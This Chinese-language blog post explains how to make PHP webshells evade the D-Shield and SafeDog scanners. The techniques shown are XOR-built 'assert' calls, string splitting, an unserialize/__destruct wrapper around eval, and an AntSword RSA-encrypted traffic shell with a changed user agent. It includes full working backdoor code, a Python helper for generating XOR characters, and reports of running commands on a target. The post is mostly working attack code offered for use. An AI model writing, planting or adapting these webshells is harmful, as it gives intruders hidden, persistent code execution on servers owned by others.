记一次webshell文件及流量免杀

简介: 记一次webshell文件及流量免杀

0x01 简介


webshell 不做免杀咋用嘛


eval 与 assert


eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用。


可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行。比如 assert 可这样用:

$f='assert';
$f(...);


此时 $f 就表示 assert,所以 assert 关键词更加灵活,但是 PHP7 中,assert 也不再是函数了,变成了一个语言结构(类似 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。



0x02 实验环境

  • PHP Version 5.6.9
  • PHP Version 7.3.4


0x03 利用方法

3.1 文件免杀


首先来看常规的字符拼接免杀

<?php 
    $a = 'a'.'s'.'s'.'e'.'r'.'t';
    $b='_'.'P'.'O'.'S'.'T';
    $c=$$b;
    $a($c['x']);
?>


级别为2

我们改用异或来构造 assert

<?php 
    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $b='_'.'P'.'O'.'S'.'T';
    $c=$$b;
    $a($c['x']);
?>

降到了1

这里附上参考中的异或脚本

import string 
from urllib.parse import quote 
keys = list(range(65)) + list(range(91,97)) + list(range(123,127)) 
results = [] 
for i in keys: 
    for j in keys: 
        asscii_number = i^j 
        if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122): 
            if i < 32 and j < 32: 
                temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
                results.append(temp) 
            elif i < 32 and j >=32: 
                temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
                results.append(temp) 
            elif i >= 32 and j < 32: 
                temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
                results.append(temp) 
            else: 
                temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
                results.append(temp) 
results.sort(key=lambda x:x[1], reverse=False) 
for low_case in string.ascii_lowercase: 
    for result in results: 
        if low_case in result: 
            print(result[0]) 
for upper_case in string.ascii_uppercase: 
    for result in results: 
        if upper_case in result: 
            print(result[0])



用命令python3 xxx.py > results.txt运行脚本


太简单的 webshell 的变量特征就会很明显,我们用反序列化来让它变的复杂一点

<?php
class A{
    var $test = "demo";
    function __destruct(){
        // 利用异或来构造 assert 绕过检测
        $b = ('!'^'@').'s'.'s'.'e'.'r'.'t';
        $b($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
// 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo",从而执行恶意命令。
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; 
// 利用拼接来构造 unserialize 绕过检测
$a = 'un'.'serialize';
// 反序列化同时触发_destruct函数
$test_unser = $a($pp); 
?>


以上代码就相当于<?php @eval($_POST['test']);?>

此时 D 盾就懵了


安全狗就更不用说了


执行命令phpinfo()


菜刀连接,查看文件


执行 cmd 命令

3.2 流量免杀


可是,如果目标服务器开启了 D 盾的流量检测,那我们的 webshell 还是没法用的

红框内的就是刚刚完全免杀的 webshell,但是连接时会提示403,连接被 D 盾拦截了


这里我们可以利用蚁剑来对流量进行 rsa 加密,打开编码设置 ——> RSA 配置 ——> 生成,将得到的 php 代码放到目标服务器上


原本的代码

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDpEuuL7wqhgaWpF/HlcGGpkJZn
x0Hjyc1f+g9NscELnyP+p+hUvxh7AWLudfnPwtx47QRHwAO0bW+RhHkG6cTRwMJO
5PLymzCn578e1DaGInEI2bhCTyx43wMCshd7DTpp0cXjB5QMyHx2rxERTaR02/Fd
I1SzS7twmQRMROYPywIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
eval($cmd);



不过,这个代码早已被杀软标记了,D 盾检测级别4


由于蚁剑不支持 assert,所以我们只能用 eval,而 eval 是不能被可变函数调用的,所以这里就无法对它进行任何操作了,我们还是先尝试利用反序列化来进行免杀

<?php
class A{
    var $test = "demo";
    function __destruct(){
        $pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDpEuuL7wqhgaWpF/HlcGGpkJZn
x0Hjyc1f+g9NscELnyP+p+hUvxh7AWLudfnPwtx47QRHwAO0bW+RhHkG6cTRwMJO
5PLymzCn578e1DaGInEI2bhCTyx43wMCshd7DTpp0cXjB5QMyHx2rxERTaR02/Fd
I1SzS7twmQRMROYPywIDAQAB
-----END PUBLIC KEY-----
EOF;
        $cmds = explode("|", $this->test);
        $pk = openssl_pkey_get_public($pk);
        $test = '';
        foreach ($cmds as $value) {
            if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
                $test .= $de;
            }
        }
        eval($test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
// 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo",从而执行恶意命令。
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; 
// 反序列化同时触发_destruct函数
$test_unser = unserialize($pp);
?>


令人意外的是,这就直接降到1了


经过我一行代码一行代码地注释测试,是 openssl_public_decrypt 函数引发了警告,这。。。


新建编码器


在添加数据时,选择刚才创建的编码器


同时记得修改 UA,默认的 UA 为 antSword/v2.1,相当于向杀软自报家门了


虽然文件有1级警告,但是连接测试,没有任何问题,并且,由于我们没有顾忌拼接 eval 的问题,所以,这个马是可以在 PHP7 中使用的




利用 burp 抓包,查看执行whoami命令时的发送包

返回包

我尝试了多种方法来处理 openssl_public_decrypt 函数,始终没法彻底消除警告,看来只有用别的加密方法了,不过这也给了我 PHP7 以后的 webshell 免杀思路,虽然 assert 也不再是函数了,但是,当把马儿写的够复杂的时候,那些杀软就没辙了。



0x04 参考

PHP序列化反序列化漏洞总结(一篇懂)

PHP webshell 免杀姿势总结

蚁剑去除流量特征

相关文章
|
云安全 SQL 弹性计算
阿里云提示网站后门发现后门(Webshell)文件的解决办法
2018年10月27日接到新客户网站服务器被上传了webshell脚本木马后门问题的求助,对此我们sine安全公司针对此阿里云提示的安全问题进行了详细分析,ECS服务器被阿里云提示异常网络连接-可疑WebShell通信行为,还会伴有,网站后门-发现后门(Webshell)文件,以及提示网站后门-一句话webshell的安全提示,但是大部分都是单独服务器ECS的用户,具体被阿里云提示的截图如下:
2622 1
阿里云提示网站后门发现后门(Webshell)文件的解决办法
|
3月前
|
安全 数据安全/隐私保护
webshell后门分析
webshell后门分析
28 3
|
3月前
|
安全 数据安全/隐私保护
webshell菜刀后门分析
webshell菜刀后门分析
18 1
|
8月前
|
开发框架 安全 .NET
记一次绕过安全狗和360提权案例
记一次绕过安全狗和360提权案例
95 0
|
8月前
|
开发框架 安全 .NET
冰蝎WebShell免杀工具(支持4.0.6)
冰蝎WebShell免杀工具(支持4.0.6)
275 0
|
8月前
|
安全 网络安全 PHP
TP-RCE绕过阿里云防护Getshell
TP-RCE绕过阿里云防护Getshell
137 1
|
SQL 缓存 弹性计算
阿里云提示网站后门发现后门(Webshell)文件该怎么解决
阿里云提示网站后门发现后门(Webshell)文件该怎么解决
2047 0
阿里云提示网站后门发现后门(Webshell)文件该怎么解决
|
机器学习/深度学习 存储 监控
【网络安全】文件包含漏洞--通过日志投毒getshell
文件包含漏洞--通过日志投毒getshell
234 0
【网络安全】文件包含漏洞--通过日志投毒getshell
|
存储 安全 网络安全
web渗透_一句话木马(webshell)_dvwa环境
web渗透_一句话木马(webshell)_dvwa环境
web渗透_一句话木马(webshell)_dvwa环境
|
存储 安全 关系型数据库
webshell网站木马文件后门如何根据特征删除
Webshell实际上是一个能够执行恶意功能的PHP代码文件。Webshell要执行恶意功能,其代码结构主要由两部分组成:数据传递部分和数据执行部分。在webshell中,数据传递部分是指webshell中用来接收外部输入数据的部分,webshell可以根据外部输入数据动态地交互执行恶意功能。在webshell中,数据执行部分指的是webshell中的system函数,用于执行代码执行和执行命令等命令。
342 0
webshell网站木马文件后门如何根据特征删除